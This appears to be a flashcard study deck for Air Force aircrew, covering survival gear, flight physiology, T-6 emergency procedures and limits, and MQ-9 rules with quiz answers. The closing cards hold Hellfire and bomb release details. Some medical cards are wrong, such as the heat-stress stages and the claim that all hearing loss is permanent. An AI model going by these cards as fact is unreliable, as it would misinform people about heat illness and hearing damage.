Considerations when constructing shelter Entrance 45 to 90 degrees from prevailing wind. If the fire is located outside of the shelter, locate entrance to shelter 90 degrees from prevailing wind.
Three types of fuels for fire Tinder, Kindling, Fuel (increasing size order)
PRC-90 Emergency Radio Features Frequency - 243 (primary), 282.8 (alt), 243 (beacon)
Range - 60nm (Voice), 80nm (beacon), 125nm (HI PWR BCN)
URT-33 Locator Beacon Features Frequency - 243.0 (**NOTE**: Overrides radio frequency)
Range - 75*ft* (flexible wire), 70nm (ADF), 80nm (LoS)
T-6 ELT Features Frequency - 121.5 & 243.0
Mk-13/Mk-124 Flare Features Duration - 20s
Distance - 7mi (day), 30mi (night)
AP-25S-5A ("Gyro Jet") Use: Penetrate heavy foliage
Illuminates at 700-1250ft above ground for 9 seconds.
Signal Mirror Features Most valuable item, 2nd to PRC-90. Visible up to 50nm.
MS-2000M (Strobe) Features IR/Side Filter. 40-60 flashes per minute. Visibility of 1mi, up to 6nm on a clear day.
AFP-64-15 "Survival Bible"
Water procurement procedures/techniques **NOTE:** Water procurement takes priority over food.
Find water by: Noting swarms of insects, plant roots w/pulpy centers
**NOTE:** Avoid almond scents in woody parts/leaves.
Water purification Boiling for 1-3min in a rolling boil. If no ability to purify water exists, use water from a fast moving source.
**NOTE:* Filtration does *not* purify water.
Rules of protection from the environment AFI 11-301 Dictates Flight Crew Equipment. Ensure you take care of your equipment as it could save you!
Remember COLDER Acronym for care & use of equipment and clothing:
C - Clean
O - Overheating (remove)
L - Loose & layered (warmth)
D - Dry
E - Examine
R - Repair
Stages of Heat Stress 1. Heat Exhaustion (99-101F body temp)
2. Heat Cramps (101-105F body temp)
3. Heat Stroke (105F+ body temp)
Treatment of Cold Threats Use body heat to warm extremities. If hypothermia is occurring, warm core first.
Most common survival problem Contact dermatitis from plants
General rule for poisonous plants "Groups of 3, leave them be"
Composition of the Atmosphere 78% Nitrogen, 21% Oxygen, 1% Other
Pressure Force/Area
Region of the greatest change in Pressure SFC - 18,000' MSL
Standard Atmosphere 14.7 psi, 29.92 inHg, 760mmHg
Most dense portion of atmosphere SFC - 18,000' MSL
Standard Lapse Rate 2*C per 1,000ft/3.6*F per 1,000ft
Dalton's Law Explains how exposure to a high ambient altitude can reduce available oxygen via partial pressures.
Boyle's Law Explains the effects of trapped gas. Boyle's Baloon
Henry's Law Amount of gas in solution varies directly with partial pressure of gas surrounding solution. Why nitrogen comes out of solution on ascent.
Law of Gaseous Diffusion Gas will diffuse from areas of high concentration to areas of low concentration. Explains gas transfer in the lungs.
Charle's Law When volume is constant, pressure of the gas will increase or decrease proportionally to an increase or decrease in temperature.
Most important factor in controlling ventilation Arterial PCO2
Normal breathing rate 12-16 times per minute
Active component of breathing Inspiration
Inactive component of breathing Exhalation
TUC Time of Useful Consciousness
Oxygen Paradox No improvement or worse symptoms after correcting for Hypoxia
The Bends Nitrogen bubbles in joints
CNS DCS Central Nervous System, symptoms similar to stroke.
Creeps Skin manifestation of nitrogen bubbles during DCS.
Minimum time between diving and flying or flying and diving. 24 hours
Treatment for DCS 100% Max O2, Immobilize Affected Area, Descend & Land As Soon as Practical, Consult flight doctor.
Hypoxic Hypoxia Altitude hypoxia caused by reduction of available O2 above 10,000'
Hypemic Hypoxia O2 carrying capacity of the blood is reduced, typically by CO, Anemia or Hemorrhage.
Pressure Breathing Used to combat hypoxia at high altitudes, forces the O2 transfer in the lungs.
Isobaric Constant Fixed pressurization in the aircraft regardless of ambient altitude and pressure.
Isobaric Differential Cabin pressure matches ambient pressure until a specific altitude, reducing the severity of a Rapid Decompression.
Advantages of a Pressurized Cabin Reduced probability of DCS, reduced probability of hypoxia, reduced incidence of trapped gas.
Disadvantages of a Pressurized Cabin Risk of accidental pressure loss (RDC)
Physiological Symptoms of a slow decompression Hypoxia, gas expansion, ears popping.
Physical Symptoms of a slow decompression No noticeable noise, decreased temperature, insidious in nature.
Types of Hearing Loss Conductive and Sensorineural (can occur at same time). Permanent and irreversible.
Most practical defense of hearing damage Combination hearing protection (helmet & ear plugs)
Parameters of Sound Frequency, Intensity, Duration
Parameters of Vibration Frequency, Intensity, Duration
Effects of Vibration Visual Impairment, Fatigue, Complacency, Motion sickness
Vision Most reliable sense in flight
Vision Blind Spots Anatomical (optical disk), Physiological (night blind spot from fova)
Focal Vision The "what" of vision. Helps identify objects.
Peripheral Vision The "where" of vision. Helps identify object motion and location. Subconscious processing of this information.
Monocoluar Limitations From the aerial perspective, blue or hazy objects appear more distant
Protocol for LASER exposure Look away, shield eyes.
Emergency Engine Shutdown on the Ground PCL - OFF, FIREWALL SHUTOFF HANDLE - PULL
Abort PCL - IDLE, BRAKES - AS REQUIRED
Engine Failure Immediately After Takeoff (Sufficient Runway Remaining Straight Ahead) AIRSPEED - 110 KNOTS (MINIMUM), PCL - AS REQUIRED, EMER LDG GR HANDLE - PULL (AS REQUIRED)
Engine Failure During Flight ZOOM/GLIDE - 125 KNOTS (MINIMUM), PCL - OFF, INTERCEPT ELP
Immediate Airstart (PMU Norm) PCL - OFF, STARTER SWITCH - AUTO/RESET, PCL - IDLE, ABOVE 13% N1
Uncommanded Power Changes / Loss of Power / Uncommanded Propeller Feather PCL - MID RANGE, PMU SWITCH - OFF, PROP SYS CIRCUIT BREAKER - PULL, IF Np STABLE BELOW 40%
Inadvertent Departure From Controlled Flight PCL - IDLE, CONTROLS - NEUTRAL, ALTITUDE - CHECK
Fire In Flight, If Fire is Confirmed PCL - OFF, FIREWALL SHUTOFF HANDLE - PULL
OBOGS Inoperative GREEN RING - PULL (AS REQUIRED)
Eject EJECTION HANDLE - PULL
Maximum Torque, Takeoff/Max (%) 100
Maximum Torque, Transient _____ (%), _____ Seconds 131, 20
Maximum Torque, Torque Above _____% is indicative of a system malfunction 102
Maximum ITT, Idle (*C) 750
Maximum ITT, Takeoff/Max (*C) 820
Maximum ITT, Transient (*C), (Up to _____ Seconds) 870, 20
N1, Idle _____ to _____%, Ground, ______% (Min) Flight 60, 61, 67
Np, Idle _____ to _____% 46, 50
Np, Takeoff/Max _____%, (_____% +/-_____% PMU Off) 100, 100, 2
Np, Avoid stablized ground operations from _____ to _____% Np 62, 80
Oil Pressure, Takeoff/Max ______ to ______ PSI 90, 120
Oil Pressure, Aerobatics / Spins _____ to _____ PSI 40, 130
Oil Pressure, Aerobatics / Spins (Idle) ______ to _____ PSI (_____ Sec) 15, 40, 5
Oil Temp, Takeoff/Max _____ to _____*C 10, 105
Oil Temp, Transient _____ to ______ *C (______ Minutes) 106, 110, 10
Prohibited Maneuvers, _______ Stalls Inverted
Prohibited Maneuvers, ______ Spins Inverted
Prohibited Maneuvers, Aggravated _______ spins past 2 turns
Prohibited Maneuvers, Spins with the PCL ______ above idle
Prohibited Maneuvers, Spins with the ______, ______, or ______ extended. landing gear, flaps, speed brake
Prohibited Maneuvers, Spins with the ______ PMU off
Prohibited Maneuvers, Spins below ______ feet pressure altitude 10,000
Prohibited Maneuvers, Spins above _____ feet pressure altitude 22,000
Prohibited Maneuvers, Abrubt _____ maneuvers cross-controlled (snap)
Prohibited Maneuvers, Aerobatic maneuvers, spins, or stalls with greater than _____ pounds fuel imbalance 50
Prohibited Maneuvers, _____ slides Tail
Airspeed Limitations, Max Airspeed Gear and/or Flaps _____ KIAS 150
Airspeed Limitations, Max Operating Speed _____ KIAS or _____ Mach 316, 0.67
Airspeed Limitations, Full rudder deflection above _____ KIAS will exceed the limits of the rudder control system. 150
Starting, Starter Limit: _____ Seconds 20
Starting, Wait _____ Sec, _____ Min, _____ Min, _____ Min after each start attempt 30, 2, 5, 30
Starting, Maximum ITT _____ *C for _____ Sec (Do Not Attempt Restart) 1,000, 5
Starting, Maximum Oil Pressure _____ PSI 200
Starting, Minimum Oil Temperature _____ *C -40
Starting, Minimum Battery Voltage _____ V 23.5
Pressurization, Normal Above 18,000 Ft MSL _____ +/- _____ PSI 3.6, 0.2
Pressurization, Overpressurization Valve Opens ______ PSI 4.0
Fuel, Normal Recovery Fuel _____ Pounds 200
Fuel, Minimum Fuel _____ Pounds ( ______ Pounds Solo) 150, 200
Fuel, Emergency Fuel _____ Pounds ( ______ Pounds Solo) 100, 100
Fuel, Minimum Fuel for Aerobatics ______ Pounds per side 150
Runway, Minimum Landing Distance Available (LDA) _____ Feet or heavy weight flaps _____ landing distance plus ______ Feet, whichever is greater 4,000, up, 500
Runway, Minimum Runway Width ______ feet 75
Winds, Max Crosswinds, Dry Runway ______ Knots 25
Winds, Max Crosswinds, Wet Runway ______ Knots 10
Winds, Max Crosswinds, Icy Runway ______ Knots 5
Winds, Max Crosswinds, Touch-and-Go ______ Knots 20
Winds, Max Crosswinds, Formation Takeoff / Landing ______ Knots 15
Winds, Maximum Tailwind Component for Takeoff ______ Knots 10
Winds, Maximum Wind with Canopy Open ______ Knots 40
Acceleration Limits, Symmetric Clean, _____ to ______ Gs -3.5, 7.0
Acceleration Limits, Symmetric Gear/Flaps, _____ to ______ Gs 0, 2.5
Acceleration Limits, Asymmetric Clean, _____ to ______ Gs -1.0, 4.7
Acceleration Limits, Asymmetric Gear/Flaps, _____ to ______ Gs 0, 2.0
Intentional Spin Entry, Minimum Altitude for Entry _____ Feet MSL 13,500
Intentional Spin Entry, Minimum Cloud Clearance ______ Feet 7,000
Icing, Maximum Icing Band / Icing Type _____ Feet / ______ 5,000, light rime
Temperature, Ground operation is limted to ambient temperatures of _____ to _____ *C -23, 43
Once a "KNOCK IT OFF" is called, all participating aircraft will:
Ref: AFI 11 -214 Chap: 3 Para: 3.4.2 - Answer: A. Acknowledge with call sign in roll call fashion
B. Cease tactical maneuvering and end the scenario
C. Deconflict flight paths
Normal recovery fuel is the fuel on initial or at the FAF at the base of intended landing or alternate. Establish fuel quantity locally or ____ pound, whichever is higher.
Ref: AFI 11-2MQ-1&9V3 Chap: 3 Para: 3.11.1 - Answer: 400
Pilots will declare emergency fuel to the controlling agency as soon as it becomes apparent that an aircraft will enter initial or start an instrument final approach at the base of intended landing, or alternate if required, with ______ pounds of fuel or less.
Ref: AFI 11-2MQ-1&9V3 Chap: 3 Para: 3.11.3 - Answer: 300
Pilots will declare minimum fuel to the controlling agency as soon as it becomes apparent that an aircraft will enter initial or start an instrument approach at the base of intended landing, or alternate if required, with _______ pounds of fuel or less.
Ref: AFI 11-2MQ-1&9V3 Chap: 3 Para: 3.11.2 - Answer: 350
While airborne, if revised forecast winds for ETA (±1 hour) exceed limits specified in the flight manual, the pilot will terminate the mission in time to return to the operating base____ unless a suitable alternate is available.
Ref: AFI 11-2MQ-1&9V3 Chap: 4 Para: 4.2.3.2 - Answer: A. before the forecast time of increased winds
C. with sufficient fuel to fly low approaches for a minimum of two hours (or as directed by local operating procedures)
Precipitation adversely affects aircraft performance and reduces visibility. If conditions permit, pilots should minimize exposure to all types of precipitation during all phases of flight. If precipitation cannot be avoided, pilots should maximize climb or descent rate to exit potential or actual icing conditions. True or False
Ref: AFI 11-2MQ-1&9V3 Chap: 4 Para: 4.3.2 - Answer: True
For Air-To-Air Operations, a coordination brief between all involved players shall include the following:
Ref: AFI 11-2MQ-1&9V3 Chap: 5 Para: 5.2 - Answer: Altitude deconfliction, emergency mission/lost link explanation and deconfliction, and AFI 11-214 Air-To-Air Training Rules
Crews must positively identify all targets prior to weapons release. For training sorties, achieve positive identification either ____ or by confirming ____ through valid on-board/off-board cues.
Ref: AFI 11-2MQ-1&9V3 Chap: 6 Para: 6.2 - Answer: visually; target location
Crews will perform a battle damage/weapons check of weapons stations prior to or during return to base (RTB). This check is mandatory following ____.
Ref: AFI 11-2MQ-1&9V3 Chap: 6 Para: 6.5 - Answer: expenditure of live ordnance
Aircrews will not takeoff if forecast or reported ____ turbulence for Light/Category I aircraft is present along the route of flight.
Ref: AFI 11-2MQ-1&9V3 Chap: 4 Para: 4.2.2.1 - Answer: severe
When carrying releasable ordnance, remain two switch positions away from release at all times prior to intentionally releasing live or inert ordnance. The two deselected switches will be the master arm switch and the trigger. True or False
Ref: AFI 11-2MQ-1&9V3 Chap: 6 Para: 6.8.2 - Answer: True
When carrying live or inert GBU 12/38 ordnance, all "dry" attacks will be conducted with the cocked LEMA selected. At no time will crews select the live or inert inboard stations until ready to release the live or inert ordnance. Tre or False
Ref: AFI 11-2MQ-1&9V3 Chap: 6 Para: 6.7.2 - Answer: True
The cocked LEMA station(s) will not be activated ('fired') until all live or inert ordnance has been visually confirmed released with the Multi-Spectral Targeting System. True or False
Ref: AFI 11-2MQ-1&9V3 Chap: 6 Para: 6.7.3 - Answer: True
Abort the mission, regardless of apparent damage or subsequent normal operation, if any of the following occur:
Ref: AFI 11-2MQ-1&9V3 Chap: 7 Para: 7.3.1 - Answer: A. bird strike
B. over-G
C. flight control system anomalies (including uncommanded flight control inputs)
D. engine failure
For inadvertent release, accomplish the following:
Ref: AFI 11-2MQ-1&9V3 Chap: 7 Para: 7.4.1 - Answer: A. If able, record switch positions at the time of inadvertent release and provide to armament and safety personnel.
B. Safe all switches.
C. Record the impact point, if known.
D. If equipment failure is suspected, do not attempt further release in any mode.
The PIC is the final authority on the number of people allowed in the GCS (to include visitors) during operations. True or False
Ref: AFI 11-2MQ-1&9V3 Chap: 3 Para: 3.1.1 - Answer: True
Aircrew will perform operations check at least ____. These checks will include fuel level, oil level, electrical, datalink, engine parameters and emergency mission status at a minimum.
Ref: AFI 11-2MQ-1&9V3 Chap: 3 Para: 3.9.2.1 - Answer: once per hour
Change out one crewmember at a time to ensure continuous monitoring of the aircraft. The ____ is the final authority in determining if circumstances are safe to replace crews.
Ref: AFI 11-2MQ-1&9V3 Chap: 3 Para: 2.3.4.3 - Answer: incoming PIC
Aircrew will not place items (checklists, charts, etc.) behind the ____ at any time.
Ref: AFI 11-2MQ-1&9V3 Chap: 3 Para: 3.1.3 - Answer: flap lever, condition lever, throttle, or speed lever
Due to the lack of visible light, the DTV video will be degraded until approximately 1 hour after sunrise and approximately 1 hour prior to sunset. True or False
Ref: AFTTP 3-3.MQ-9 Chap: 6 Para: 6.2.2.1.3 - Answer: True
What does DEADEYE mean?
Ref: AFTTP(I) 3-2.6, JFIRE Chap: B Table 2 - Answer: Laser designator system inoperative
CLEARED TO ENGAGE - JTAC Type 3 control clearance. Attack aircraft flight leaders may initiate attacks within the parameters imposed by the JTAC. Attack platforms will provide ________.
Ref: AFTTP(I) 3-2.6, JFIRE Chap: III Para: Fig 4 - Answer: "Commencing Engagement and Engagement Complete"
The fuel heater will automatically shed when aircraft voltage drops below ____ V.
Ref: T.O. 1Q-9(M)A-1 Chap: 1 Para: 1.12.8.1 Note - Answer: 26
If DEEC fails, the backup mode torque schedule limits engine power as a function of OAT and density altitude, and will not allow a command greater than ____% torque.
Ref: T.O. 1Q-9(M)A-1 Chap: 3 Para: 3.17 - Answer: 70
If the selected tank's solenoid on the fuel feed manifold fails closed, the header tank level and pressure will decrease. True or False
Ref: T.O. 1Q-9(M)A-1 Chap: 3 Para: 3.29 Note - Answer: True
Decreasing oil level may be an indication of an oil leak (external or internal), excessive oil consumption, or oil foaming. What are some important points to remember?
Ref: T.O. 1Q-9(M)A-1 Chap: 3 Para: 3.21 Caution - Answer: A. minimize maneuvering and avoid excessive throttle movements
B. fluctuating oil pressure combined with fluctuating oil level may be an indication of a clogged oil vent line
C. oil leaking inside the engine compartment can ignite and burn out of control resulting in loss of aircraft
The Aircraft Component Currents Requirements chart shows typical amperage for each device. However, momentary in-rush current can be up to ____ times as much when a unit is first turned on.
Ref: T.O. 1Q-9(M)A-1 Chap: 3 Para: 3.56.2 Caution - Answer: 2-3
During a forced landing (and operating on battery power), once the landing gear is lowered, battery life may preclude another full landing gear cycle prior to a successful touchdown. True or False
Ref: T.O. 1Q-9(M)A-1 Chap: 3 Para: 3.56.4 Caution - Answer: True
Which of the following aircraft component draws the highest maximum amps?
Ref: T.O. 1Q-9(M)A-1 Chap: 3 Para: Figure 3-17 - Answer: AN/DAS-1
A warning of "Aileron servo Left (or Right) - temp in the caution range" indicates aileron servo temperature is below -45º C or above ________°C.
Ref: T.O. 1Q-9(M)A-1 Chap: 3 Para: Figure 3-19 - Answer: 175
The "LRD LP DES" AN/DAS-1 HUD indication will be displayed when the system measures the LRD energy output at approximately ____% or less of normal operating power. It ____ recommended to use the LRD to designate for a laser-guided munition while under an LP condition.
Ref: T.O. 1Q-9(M)A-1 Chap: 1 Para: Figure 1-188 - Answer: 65/is not
If a weapon being laser guided is in-flight when the LRD LP DES occurs, DO NOT stop lasing. The LRD may still be outputting at a very reduced power. Any chance of guidance will help prevent collateral damage resultant from an unguided weapon. Continue normal lasing procedures until weapon impact. True or False
Ref: T.O. 1Q-9(M)A-1 Chap: 1 Para: Figure 1-188 - Answer: True
The LRD is PRF adjustable throughout the entire range of available PRF codes (____ - ____).
Ref: T.O. 1Q-9(M)A-1 Chap: 1 Para: 1.29.17.14 - Answer: 1111, 1888
What is the maximum allowable EGT in flight?
Ref: T.O. 1Q-9(M)A-1 Chap: 5 Para: Figure 5-1 - Answer: 675° C
Forward CG imbalance, even at the most extreme, should not present a flight control problem. True or False
Ref: T.O. 1Q-9(M)A-1 Chap: 6 Para: 6.12 - Answer: True
____ or lower should be used when penetrating areas of turbulence.
Ref: T.O. 1Q-9(M)A-1 Chap: 7 Para: 7.2.1 - Answer: VA (maneuvering airspeed)
Which item has the greatest drag configuration index?
Ref: T.O. 1Q-9(M)A-1 Chap: 3 Figure 3-16 - Answer: Propeller unfeathered (not rotating, worst case)
In altitude preference mode, changes to the power setting affect aircraft airspeed, while aircraft pitch responds to achieve commanded altitude. If the aircraft is unable to maintain the set speed and altitude, it will achieve the fastest possible airspeed, while maintaining commanded altitude. True or False
Ref: T.O. 1Q-9(M)A-1 Chap: 1 Para: 1.15.8.2 - Answer: True
In speed preference mode, the aircraft adjusts in pitch in an attempt to achieve the commanded airspeed, and power settings are commanded to achieve the set altitude. If the aircraft is unable to maintain the set speed and altitude, it will depart from the set speed in order to maintain altitude. True or False
Ref: T.O. 1Q-9(M)A-1 Chap: 1 Para: 1.15.8.1 - Answer: False
A ____ indicates operating procedures, techniques, etc., which could result in personal injury and loss of life if not carefully followed.
Ref: T.O. 1Q-9(M)A-1 Chap: Foreword Para: Warnings, Cautions, and Notes - Answer: Warning
____ expresses a provision that is binding.
Ref: T.O. 1Q-9(M)A-1 Chap: Foreword Para: Shall, Will, Should, and May - Answer: Shall
The EPO switch disconnects ____ from the GCS.
Ref: T.O. 1Q-9(M)A-1 Chap: 8 Para: 8.1.4.1.2 - Answer: all AC power
What does setting GCS Ignition to "Hot" do?
Ref: T.O. 1Q-9(M)A-1 Chap: 9 Para: 9.6.140 - Answer: A. enables the Engine Start Module (ESM)
C. activates the electric fuel pumps
The EFIU monitors engine RPM received from the tach generator. If RPM drops below ____% it automatically performs an in-flight restart.
Ref: T.O. 1Q-9(M)A-1 Chap: 1 Para: 1.10.15 - Answer: 78
The return manifold receives excess fuel from the ____ tank.
Ref: T.O. 1Q-9(M)A-1 Chap: 1 Para: 1.11.4 - Answer: header
If both electric fuel pumps fail, ____
Ref: T.O. 1Q-9(M)A-1 Chap: 1 Para: 1.11.7 Warning - Answer: the engine will only continue to run until the fuel in the header tank is depleted
B. it is not possible to jettison fuel
Batteries cannot be charged in flight. True or False
Ref: T.O. 1Q-9(M)A-1 Chap: 1 Para: 1.12.5 - Answer: True
The flaps are set automatically when airspeed exceeds ____ KIAS or landing gear is up and ____.
Ref: T.O. 1Q-9(M)A-1 Chap: 6 Para: 6.2.2.1 - Answer: 121/airspeed hold is on
Pilots must be alert to the possible consequences of deactivating SAS during flight. When SAS is deactivated, all ____ safety features are immediately turned off.
Ref: T.O. 1Q-9(M)A-1 Chap: 6 Para: 6.7.2 Caution - Answer: autopilot
With Cruise Mode ON, control sensitivity is reduced. Roll, pitch, and yaw gains are scaled with airspeed. Scaling limits roll to ____ up to ____ depending on airspeed.
Ref: T.O. 1Q-9(M)A-1 Chap: 1 Para: 1.15.2 - Answer: ± 10°, ± 40°
Cruise mode is on when any hold mode is engaged, when stall protect is enabled, or anytime airspeed is over ____.
Ref: T.O. 1Q-9(M)A-1 Chap: 1 Para: 1.15.2 - Answer: 110 KIAS
Do not zero trims in flight. Doing so will result in a 50 knot airspeed hold. True or False
Ref: T.O. 1Q-9(M)A-1 Chap: 1 Para: 1.15.6 Warning - Answer: True
The ____ feature is the first level of stall protection provided by the autopilot. It automatically decambers the ailerons when AOA increases above +5º to prevent the wing tips from stalling.
Ref: T.O. 1Q-9(M)A-1 Chap: 1 Para: 1.15.9 - Answer: aileron tip stall override
Stall protect is turned on and off by the pilot, but only takes effect at speeds below ____.
Ref: T.O. 1Q-9(M)A-1 Chap: 1 Para: 1.15.10 - Answer: 120 KIAS
Stall protect prevents stall by deflecting the ruddervators down when AOA exceeds a threshold value of 7 degrees. Stall protect disengages when the AOA is less than 3 degrees. True or False
Ref: T.O. 1Q-9(M)A-1 Chap: 1 Para: 1.15.10 - Answer: True
Mission programming employs "fly-to" logic. For each mission leg during autonomous flight, the aircraft will use the programmed settings for the upcoming waypoint. Once the waypoint is passed, the settings for the next waypoint go into effect. True or False
Ref: T.O. 1Q-9(M)A-1 Chap: 9 Para: 9.8.2 Note - Answer: True
Lost link programming and the emergency mission will not activate if "Lost Link - OK" is set ON during an operational mission. True or False
Ref: T.O. 1Q-9(M)A-1 Chap: 1 Para: 1.15.15 Caution - Answer: True
During a loss of command link, how much time passes until the RCM turns the SPMA to standby?
Ref: T.O. 1Q-9(M)A-1 Chap: 1 Para: Figure 1-81 - Answer: Arming time + 3.5 minutes
If EGI ____ fails, the Ku SATCOM will not be able to aim properly, which may cause the aircraft to lose Ku-band link and go lost link.
Ref: T.O. 1Q-9(M)A-1 Chap: 1 Para: 1.17.1.3 - Answer: 1
The transmission of the C-Band LOS datalink is referred to as the ____ and ____, while the Ku-Band SATCOM transmissions are called _____ and ____.
Ref: T.O. 1Q-9(M)A-1 Chap: 1 Para: 1.18.1 - Answer: Uplink, Downlink, Command Link, Return Link
The IR nose camera has its own heater and fan to prevent fogging. True or False
Ref: T.O. 1Q-9(M)A-1 Chap 1 Para 1.28.2 - Answer: True
The ice detector signal stays on for _____ seconds after the ice has cleared.
Ref: T.O. 1Q-9(M)A-1 Chap: 1 Para: 1.31 - Answer: 60
The ____ mode (of the ARC-210) provides continuous scanning of four preset channels.
Ref: T.O. 1Q-9(M)A-1 Chap 1 Para 1.31.1.1.8 - Answer: Scan
A ____ background (on a VIT data element) indicates an abnormal condition. This generally indicates that the value is out of the normal operating parameters and should be monitored.
Ref: T.O. 1Q-9(M)A-1 Chap: 9 Para: 9.3.1 - Answer: Yellow
A __________ background (on the VIT data element) indicates a warning condition. This generally indicates the value is in a critical condition and will require corrective action.
Ref: T.O. 1Q-9(M)A-1 Chap: 9 Para: 9.3.1 - Answer: Red
The Deice System's automatic mode is intended to be used when the aircraft is operating autonomously. If outside air temperature is less than ______, pitot heat is automatically turned on.
Ref: T.O. 1Q-9(M)A-1 Chap: 9 Para: 9.6.90 - Answer: 10°C
For an operational or emergency mission, when LOS TX #1 Inhibit is selected On, TX1 will be prevented from operating during that mission leg. What else is true about LOS TX Inhibit On?
Ref: T.O. 1Q-9(M)A-1 Chap: 9 Para: Figure 9-132 - Answer: This inhibit overrides any other programming and positively prevents the transmitter from operating under any circumstances
Data from the Preset Configuration window cannot be applied/uploaded if the aircraft airspeed is above ____ KIAS.
Ref: T.O. 1Q-9(M)A-1 Chap: 2 Para: 2.13 Note - Answer: 50
In cruise mode, avoid flying the aircraft at AOA greater than ____ degrees. A high AOA can result in divergent roll oscillations.
Ref: T.O. 1Q-9(M)A-1 Chap: 2 Para: 2.30 Warning - Answer: +5
The engine may exceed maximum allowable EGT when disengaging Altitude Hold with the throttle in the ____ position.
Ref: T.O. 1Q-9(M)A-1 Chap: 2 Para: 2.30 Step 8 Caution - Answer: Full forward
During an MCE gaining handover, the Ku command link is established when:
Ref: T.O. 1Q-9(M)A-1 Chap: 2 Para: 2.27 Step 17 - Answer: the "Ku Command Link Lost" warning message disappears
Airspeed, altitude and heading hold should be set to ensure valid parameters are set in the autopilot, in the event an inadvertent uplink is established.
Ref: T.O. 1Q-9(M)A-1 Chap: 2 Para: 2.38 Step 36 Caution - Answer: True
Upon Successful hand-off it is necessary to update the datalink preset values found in Section 1; otherwise, the aircraft will retain the preset values for the losing GCS. Changing any of the preset values in the HDD will result in all presets values being resent to the aircraft; however, entering an identical in the HDD for any of these items will not update any values.
Ref: T.O. 1Q-9(M)A-1 Chap: 2 Para: 2.38 Step 51 Caution - Answer: True
It is possible for the actual nose camera lens inside the fuselage to fog during descent. Fogging of the actual nose camera lens cannot be prevented with the use of nose lens heat. The Nose IR lens heater may be used to clear the nose EO camera.
Ref: T.O. 1Q-9(M)A-1 Chap: 2 Para: 2.41 Step 3 Caution - Answer: True
If power is shut off due to a GCS fire, the UPS batteries will still provide power if they were not turned off prior to evacuation.
Ref: T.O. 1Q-9(M)A-1 Chap: 3 Para: 3.68 Step 6 - Answer: True
With a left PSO rack (Pilot Station) failure or rack lock-up, the pilot has the option of sending the aircraft lost link prior to executing the PSO-1 Rack Lock-Up checklist.
Ref: T.O. 1Q-9(M)A-1 Chap 3 Para 3.71 - Answer: True
If no emergency mission is loaded on PSO 2, then as soon as the rack switch button is pressed, the emergency mission start point will immediately change to ____ regardless of what the PSO-1 tracker display shows.
Ref: T.O. 1Q-9(M)A-1 Chap: 3 Para: 3.71 Step 7 Caution - Answer: waypoint 1
Loss of control may be indicated by complete failure of the aircraft to respond to pilot control command. This may be caused by ____.
Ref: T.O. 1Q-9(M)A-1 Chap: 3 Para: 3.34 - Answer: A. airspeed or pitot/static failure
B. catastrophic AOA failure below 120 KIAS with stall protect on, SAS failure
C. autopilot sensor failure, structural failure or airframe icing
A stall condition may be indicated by ____.
Ref: T.O. 1Q-9(M)A-1 Chap: 3 Para: 3.41 - Answer: A. warnings on the pilot HUD
B. excessively high AOA
C. unexpected loss of altitude
Pitot heat does not guarantee the absence of ice from the pitot/static system. Moisture can freeze in the unheated areas. This malfunction may be indicated by an FCA PPT sensor warning message, abnormal attitude, abnormal airspeed or a combination of any of these. These conditions may result in ____.
Ref: T.O. 1Q-9(M)A-1 Chap: 7 Para: 7.3.5.1 - Answer: A. aircraft pitch down or oscillations
B. loss of datalink
C. loss of aircraft control
If an aileron or tail servo enters the red region, land as soon as possible.
Ref: T.O. 1Q-9(M)A-1 Chap: 3 Para: 3.38 Step 2 Caution - Answer: True
When battery voltage drops below _____ volts, all electrical power may be lost.
Ref: T.O. 1Q-9(M)A-1 Chap: 3 Para: 3.11 Step 6 Caution - Answer: 22
Do not allow the engine to windmill between ____ and ____ percent RPM. Operation within this range may cause engine damage.
Ref: T.O. 1Q-9(M)A-1 Chap: 3 Para: 3.11 Step 7 Caution - Answer: 18-28
The air start airspeed envelope is between ____ KIAS.
Ref: T.O. 1Q-9(M)A-1 Chap: 3 Para: 3.12 - Answer: 100-180
ER With aircraft weight greater than 10,500 lbs, maneuvering at a bank angle greater than 30º in level flight, or greater than 25º while climbing will result in the aircraft pitching up and achieving high AOA.
Ref: ASI-09069 Chap: 1 Para: 1.8.3 Warning - Answer: True
The maximum additional fuel capacity (of an ER tank) is ____ lbs per tank.
Ref: ASI-09069 Chap: 1 Para: 1.4.9.1 - Answer: 1350
DC Supp. Batt. The aircraft is equipped with 10 batteries (5 batteries for each power bus) with a total rating of 140 ampere-hours. At a minimum system amperage of about 60 amperes, the batteries provide enough voltage for approximately ____ minutes of flight time.
Ref: ASI-11164 Chap: 3 Para: 3.5.2 - Answer: 118
DC+DDBA In the event of a "DCPS# over current" warning crews should turn off unnecessary equipment and refer to the DDBA FAILURE (Section 3) checklist.
Ref: ASI-11164 Chap: 3 Figure 3-9 - Answer: True
DC+DDBA DDBA temperature is displayed via ____ on VIT 8.
Ref: ASI-11164 Chap: 1 Para: 1.2.2 - Answer: PMA Temp
Which launch mode results in the most direct trajectory during missile flight?
Ref: T.O. 1Q-9(M)A-34-1-1 Chap: 1 Para: 1.3.3.2.6 - Answer: LOAL-D
Which launch mode typically results in a higher impact angle?
Ref: T.O. 1Q-9(M)A-34-1-1 Chap: 1 Para: 1.3.3.2.6 - Answer: LOAL-H
Which launch mode typically results in a lower impact angle?
Ref: T.O. 1Q-9(M)A-34-1-1 Chap: 1 Para: 1.3.3.2.6 - Answer: LOAL-L
Certain PRF codes are more reliably loaded into the AGM-114 than others: codes with ____ are correctly handled by the M299P launcher during transmittal to the missile software. Other PRF codes may cause missile BIT failures.
Ref: T.O. 1Q-9(M)A-34-1-1 Chap: 1 Para: 1.3.3.2.1 Warning - Answer: even parity
A ____ weapon icon (on the bottom of the HUD) indicates the weapon is selected for release.
Ref: T.O. 1Q-9(M)A-34-1-1 Chap: 1 Para: 1.4.18 - Answer: Green, solid
When the ripple interval for Hellfire missiles is less than ____ seconds , there is an increased possibility of collision between missiles.
Ref: T.O. 1Q-9(M)A-34-1-1 Chap: 1 Para: 1.3.3.1.1.1 - Answer: 0.3
What factor(s) are required for a commanded bomb to be released in CCRP mode?
Ref: T.O. 1Q-9(M)A-34-1-1 Chap: 1 Para: 1.7.3 - Answer: A. RPA must be at or past the CCRP
B. RPA must be within 3,000 feet ground range of the CCRP
C. RPA course must be within 30º of the calculated run-in course (angle between aircraft course and target)
The M299P launcher should not be exposed to temperatures below ____º Celsius.
Ref: T.O. 1Q-9(M)A-34-1-1 Chap: 1 Para: 1.7.6 - Answer: -40
AGM-114 missiles and M299P launchers cannot be jettisoned.
Ref: T.O. 1Q-9(M)A-34-1-1 Chap: 1 Para: 1.7.9 Note - Answer: True
